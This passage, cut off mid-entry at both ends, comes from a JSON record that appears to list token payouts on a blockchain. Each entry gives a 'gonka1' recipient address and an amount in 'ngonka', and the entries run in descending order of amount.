\"gonka1a3urcggdzkamu76nd847034z7w6kx2en46jzan\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"2438132794092\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1snq79gf7l5kjm00gkdcu9dmpwzk207eq07nuue\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"2431479512542\"\n }\n ]\n },\n {\n \"recipient\": \"gonka17wmjdfda8tfkfujp24usqzsxv32vrycnhvj3cl\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"2410047815267\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1uawu7tlxcuss8xk9m63fpjm86y58chsg5xwsjt\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"2307961462204\"\n }\n ]\n },\n {\n \"recipient\": \"gonka10yvlwvt2t3eqrze399ky2wtqfr507zld06wn9m\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"2291889908713\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1vn8dkrcwmqet2954u7zxt6e3q4q5p87zf4ug8m\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"2274332708925\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1wtg6f6xstldpe4ty2khcf4h7ggkwhyez3f5xn9\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"2211681613298\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1zr82xvxge0n8hf2u9ysrvfgr8u5lcvrqwc6ufx\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"2184531466278\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1zyh5wtm75k9hnwyavx9uhserp9hf7mnw7m8tzk\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"2180450032879\"\n }\n ]\n },\n {\n \"recipient\": \"gonka12nwehnhahquy97ulu8824pnw9p0fszxzpnexk7\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"2164973775818\"\n }\n ]\n },\n {\n \"recipient\": \"gonka134gw5wnwukm032r3xn4fe73ptrfqewjwnj42q9\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"2122972978099\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1nwkzwsy9msnvw6dvx7dwyvqgpzrll5th3qjnqx\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"2114472670926\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1vvnnc0aw2v8j8zarm7p0egfgajpmus23sm8gd5\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"2113698536568\"\n }\n ]\n },\n {\n \"recipient\": \"gonka18gjl3tetpx0qdknl0vdhhducfycggpjrrjy6me\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"2112266881636\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1tlvg4kjx7ljd5thgd5fkgh39q6lu8cmxupktgg\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"2097917153622\"\n }\n ]\n },\n {\n \"recipient\": \"gonka15x0egllrr3wlucagztrpf7u8365zdjjy3qh8aa\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"2095430372995\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1vy396smh98ak3ts4zlthjnsv2ypr845mrfz7x5\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"2094173145999\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1dg6s2c2mrwg972xs7309nh57t7q98hqv99jew8\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"2087135335497\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1zx097psrq9p99yz8src4henyrtsdpjv3n7hp5u\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"2071309702684\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1lv34hh600uye40wjjq9fspqwernyjqjuz92w8f\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"2063313281497\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1tx980hp394dfn80rut6gr3j5yujz7wdl08dups\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"2050662840697\"\n }\n ]\n },\n {\n \"recipient\": \"gonka125n6kr5gvdup0lndfkps7t6rd6592panhrg3np\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"2047604055909\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1ymupls5cj6dfkvppeetcfpkszqxmyyrjtsn5pz\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"2046231858543\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1hytku6t3cfd7wppyrjvu357jjqpsgsw6wcprcy\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"2034728655450\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1k3xh9h66ye5pdgv2v94xhf7paz445e7qwraz7h\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"2025139415576\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1nkedq5vefl0xlxf66cgpx5l6eldtjtr3e2q5sp\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"2014461604344\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1a3f2cpds29pq0x7yvuh5we233l6aytcgl8gtlx\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1999560523360\"\n }\n ]\n },\n {\n \"recipient\": \"gonka17v3mupkkl6gapd2nfe8n442npj0vm8tezv53rx\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1988287022886\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1eazh84v0e60s9m7exxp3nsadcfgvnsthgypjvl\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1981994552976\"\n }\n ]\n },\n {\n \"recipient\": \"gonka14pdvgt025fwkf38cr74hhcj2nfl98c044tswya\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1978853219827\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1l4vfzkwd555pvxqzr3ksphgwgv8xsh89ytmjp0\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1974075810606\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1x5fvtepacy4gk0nsjenj0fgs46jmhs22an4zyg\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1950427976353\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1d7p03cu2y2yt3vytq9wlfm6tlz0lfhlgv9h82p\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1950216716356\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1kwflqwdrvk6ax62er4tkdwmjayh3eq80ketq2u\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1936371393787\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1kk9m3h8y5qg2qt50m4htdczlmu9nuvgssa7wvx\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1930810890692\"\n }\n ]\n },\n {\n \"recipient\": \"gonka18zc66p9kmjxe43zfm0ckmzds2aey7nd7lz7tju\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1911831420473\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1llgg3kvg9sc6xz09jtkcrucrppxgn78xe4xlv0\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1909204747983\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1sszyf9vva7xvyk84fnc7zwk0gde3avrhstp8yq\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1898302802394\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1ntsw9ufhpvzan82lhe496zhdqvfy9rptm6rr5s\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1882174535198\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1hr7tssnwuw7jk8s4gjf8uq6k9aw2evnygsfd5y\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1881610689490\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1py4j23jhz2nah9d8lqpxn2lq6e07lx6e6jmaym\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1869327972267\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1y29s2ckdl0csktxhpx77a7dvwyhj9u4xyrcynm\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1868663974330\"\n }\n ]\n },\n {\n \"recipient\": \"gonka13yg0vc937qfnhc0lr7c57cr63edl5jxh6g6sds\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1856520150195\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1nrutssh27xyjxa2a3x7xqs5j72uwfcfhkux0lq\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1852033816609\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1mrjfnu5n4cpz0kc6ctkj7m6wyydgjstje8yyg2\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1832711080363\"\n }\n ]\n },\n {\n \"recipient\": \"gonka16gmle2g7g0n654xpq5sq6p4kakwhyglzwzj84x\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1823343472413\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1f0u3y2wneer8zhz3ypw4x54h38cpa0qsy8ts3e\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1809157685416\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1z4ldfav9tl7x3w9aqfry89zd0kt7sa2lhff6te\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1793236353527\"\n }\n ]\n },\n {\n \"recipient\": \"gonka100yl7qvcpdrt834zay8wusptg8g6yrv4p7fh4w\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1772948015912\"\n }\n ]\n },\n {\n \"recipient\": \"gonka15uz4vcp4r0yrn3wy6lw7kslcv75l04cmy5vfac\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1766341236334\"\n }\n ]\n },\n {\n \"recipient\": \"gonka16k03ze5ynkprsd4n6e5uzhthvu9jjk553rauqy\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1763176140135\"\n }\n ]\n },\n {\n \"recipient\": \"gonka14a0856a3q78pmesxpc946xm9nsj3f275l9f5pa\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1762281983678\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1t8p0tjqls358gmzvd3rnnjulraq2k3m772vnt8\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1760449387496\"\n }\n ]\n },\n {\n \"recipient\": \"gonka10dmnjuj9pyxk8zcyhykccr2pte2e8sj93e2ljp\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1743800721431\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1qwfrtz9c7kcrfkrrlne2pkcye74mj6ce33xdkl\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1730972390651\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1p2lhgng7tcqju7emk989s5fpdr7k2c3ek6h26m\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1729511203691\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1uqdg47fc37pxn0px59mgs6jaxzyu5axjsunqcn\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1722700206424\"\n }\n ]\n },\n {\n \"recipient\": \"gonka145666cll76ptcyy9ceymtalr8gnvv73ne99p32\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1721387071686\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1slndy4rsmld579628302rj5gz8z9qf4v6ppmc4\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1720964413511\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1k3lva2jsxu5qx30f65yxdlcey8d6f3unmy2gks\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1714912277605\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1lq2qtfapw52lkqnwkadr9a7yyhzllz32hhg75l\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1712950116810\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1qraf3edrgj8j0jmm9p709p8jver4kfa5qm2dlw\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1712937593153\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1dpt9zx2dqcky6yjjwrd8xz2w7lq6vffy9mhvgs\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1710228510544\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1l44nacmpmt83kavvevmhlh8elspjtjn6wvwzm0\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1705987345103\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1st0kn8x2slqc4ruphzwcsqux8fz4y9fxkgny2p\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1703111172537\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1sa32xmpxvv7nepfc22004rgdl4ddjvne42guce\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1701186828287\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1y2gqpy8533d23dyuwsx67snesddu2w6pf4la73\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1679548662497\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1d0cekvf368psxff6ur7pl42vvs225rzu9a76nj\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1676087196251\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1ju7jfznld7vg0f35wgz507m6c0lzgugpmajnvn\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1657983373908\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1d694r00czmq75txghwjcuk07lxvc8d4ekgsha0\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1649092472277\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1x0tmf77y7pgwjz3pmjtdphr6gr264fsya0ck97\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1644308356211\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1ge9amk4ymld27d35akj3ky9uph4gyz6rdpepjj\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1640782235179\"\n }\n ]\n },\n {\n \"recipient\": \"gonka18vjpx0ju0su0t89y3gjvktsx9cak579a8tvzlv\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1640531529430\"\n }\n ]\n },\n {\n \"recipient\": \"gonka197mvutfxtz0kfuttd8pedys2qscffqatzf7cks\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1635594374059\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1p2hcr8q3zst98rnw5t2ek7ah04xc7avjyqsykx\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1635540874840\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1jnvpyydsxvqx484qua8nj6sm8gw7zq0jrv5qch\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1624531548601\"\n }\n ]\n },\n {\n \"recipient\": \"gonka17pnpw8uphnvsehcdpsxuar5nctlksvftlpvfcm\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1612758520040\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1pxnftcgh4cf20326zvqxu7d8zmwrpfn07qmpn8\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1610736048493\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1s5vtmnn8tqvqfh7gd9hv48kkt2t4mkh7s85zh6\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1600385389897\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1nkmwp905ka4dzvuwvdaudgjj7yjk8h5aslfw73\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1587901780412\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1450wvd5uugfj7gru4heut5ulnneunplvxs995e\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1585492932064\"\n }\n ]\n },\n {\n \"recipient\": \"gonka178p3vw9zxs885l4a29g3sep0v9uplfq4pzvmrq\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1568245761958\"\n }\n ]\n },\n {\n \"recipient\": \"gonka19cjm4c5mt3j3qdr8vhytmm4hef3pnkvkm0x7m2\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1550424742012\"\n }\n ]\n },\n {\n \"recipient\": \"gonka18gx37lvw563n8h27zg4r86hpxyhfkrnc9v8gsx\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1545986812272\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1rcxn206a5smzzhd3g0edgg6tyv97jk052nc9fx\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1543746149423\"\n }\n ]\n },\n {\n \"recipient\": \"gonka15ye48c3rp57hwt9t6tzc6h0t5sh88zvj0yznwn\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1542148067169\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1czjrfgs9xfuax25j8nsjrdklzn6repcn25zjxd\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1533880283950\"\n }\n ]\n },\n {\n \"recipient\": \"gonka14s76f83l8m3guvr8vu54dmla798jzy3u09vxzx\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1532015935333\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1sgpe9jdpa407ykm537demqj26xn7x88ayjdzly\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1529218270093\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1gstreuc0fz4gksar9sx2uzg4au2k7k83cremld\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1503708999515\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1xkk2g9t0t7euahr5wtjerv7tng3pnrcl0h3gcz\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1496033993846\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1m3vrwz0e6wmclfl3kmwvqq4j7pl65nmvhuz0le\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1493192656255\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1nrf23a58fa0t0haq584272lsw2tfkm553l04a0\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1467443775463\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1x3wd5ypslj50nk9cvs72e3re9mfcdpcqwhnulj\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1467176555799\"\n }\n ]\n },\n {\n \"recipient\": \"gonka14vyhz7henu2lxssa02lf3qwmufv8kvxzn85frf\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1434213603092\"\n }\n ]\n },\n {\n \"recipient\": \"gonka188qynuf5zs5966vzlrf2q2tj7h7laa995vrxr3\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1432954903593\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1dx3kzqghjsfr4scjvmy0lvk4lk7qhvh9n358k2\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1429796170034\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1juwk05glldgn7850a3547jsl7l4vrhx9k5g3cr\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1423107302701\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1ccdm8j6sjyhq4qask049dwgaczs7f3pxte6zmp\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1421622489933\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1q4mexpvre73dwjaz93xuwwxgh5526pe2ps2eec\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1417150602535\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1qmpm8tsynnfkqe9902dd6ny4lc5hvp8q7wkrpc\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1402806799218\"\n }\n ]\n },\n {\n \"recipient\": \"gonka186ghmxetau6dykfzqdqxe7vhra5w77e98gcdn7\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1382392335195\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1ctz9hz6c2pc9hpj5qsw83fmmf9uekqesg4k9sh\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1380013105932\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1mhepzjgj5asrx2rjh69ckdae9cuhaynqtuv4sp\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1376447164167\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1dzdmx5ljrwkelrmgd7suv2q43epn293qacpgqn\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1352946136845\"\n }\n ]\n },\n {\n \"recipient\": \"gonka19zxzp5xlgj0gq7xlnfhaqcedjrqv0jhpq3zdwc\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1344056281126\"\n }\n ]\n },\n {\n \"recipient\": \"gonka19sf4axsacdphm598alpxt7t2qpacxttdmj5e06\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1323698843693\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1ekx3z5gm4azxvsectsflhpul24d06x7rz978d5\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1315872206099\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1jvmumx6rwyq302m6y6z5hdkc4cgu845mcgjwud\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1293131959851\"\n }\n ]\n },\n {\n \"recipient\": \"gonka19f9hkpmjaldncsfly4j63sy932y8hughn4l3d8\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1288877578717\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1qx3znmtpxqgmz3t4tgpdk68dsfxuccn6cxnp8s\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1288707962259\"\n }\n ]\n },\n {\n \"recipient\": \"gonka14yprk25twtverkpcsdgnrg5raeuycmkl5dwa34\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1276582463923\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1lecmns7dj5wm8f53pe6c8nueukqafknel2wt2m\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1269049737730\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1lswsj2x7u4606wqpunmm07skgf76r3dyz4v0d8\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1241250357209\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1d5c40gkxqycyxpmup22lw0sp3e3pxat9aee7sx\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1236651340303\"\n }\n ]\n },\n {\n \"recipient\": \"gonka14qwpw2l0qmevxy9snllfaw0r9svnh4vdyl3897\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1229611229584\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1hx9a6297776yndfgajr7tc3e9kj96t77m4xxf7\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1228846322760\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1d5nn7u0hq0pumgmfxk95nj5h3zkuskkdh96dzd\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1211538663678\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1830lqug50lse998x2lakk4pj5ypfumz5pasz0y\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1210731495895\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1u3fmal7ep88gcgauwe09zk8e77985cqmeuu2fc\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1206598666620\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1n6uaty84yezgfcymndq75nmza8y8krt9j0czjm\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1199452287667\"\n }\n ]\n },\n {\n \"recipient\": \"gonka16r4kxszdpa6k7wakgt6wk6vus6txhqwqd5drkh\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1193662593554\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1h5cc5829dh3260vmnugr5vp0nac7mmktrrhe6l\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1188612232016\"\n }\n ]\n },\n {\n \"recipient\": \"gonka12dvpyn0a2tvuc28vanrj7nr7d8ez022mms4vf2\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1186466441984\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1j8l7fcxqxakp2py7jcgh27ccgxaze7krscxfe5\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1169732083672\"\n }\n ]\n },\n {\n \"recipient\": \"gonka18xeqnspxpg2vncufnjne485rkaagwvz7whyn0d\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1167393439685\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1mtahyzwk726p50mqkj2n6jt3u32vcyrgwzqmw8\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1161040511004\"\n }\n ]\n },\n {\n \"recipient\": \"gonka174srhxhfktxx4hv94zcdz4jqfw9kvc4ge2p0pu\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1160447819571\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1a46zzvkdg5kf7raesh7rp2e3alx7gzgq3ww4ac\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1152015798500\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1qmlkwzrpv5zkzzpgkthftd29uqg0ka8dddc290\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1151698611178\"\n }\n ]\n },\n {\n \"recipient\": \"gonka12tfc6ccmadjqv6yaa3axxsuhy6zv6tupu78p8u\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1134910852048\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1e4elawx3wgp407u3vqr8kj7ctef0qzme6wvntr\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1129567802700\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1xwkesaxvdadh9wt9yyladu0r260s7whklcktds\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1124226587642\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1erjgpt52lp7atyq5c5u5tpprtqjr4pt6zd2pny\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1122166176790\"\n }\n ]\n },\n {\n \"recipient\": \"gonka12qz87r7g5sde33c6jnjp7n5kxj4t650v9ezxu7\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1095484122804\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1k4ufjpu9h79zy4hdtly8dcgyfkjmeunqtk3k9e\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1094749475242\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1u60q4n3ymcglvhglylchpyvc04kvvurl967mgk\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1092175889843\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1zhjhpgcmzyc92mlhawja4esnwuwu5u8sjlm4c2\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1090676645680\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1338kw8rwv6qlujzrgfacce3ej6emekzjwudrge\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1085517708212\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1ypy2ygsa7se9lrcwxlstgwsy0lfged0kg8ft95\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1085335893801\"\n }\n ]\n },\n {\n \"recipient\": \"gonka18py93vhrf7mn3yjkqjdpkwlqfpavu3f06ssllv\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n 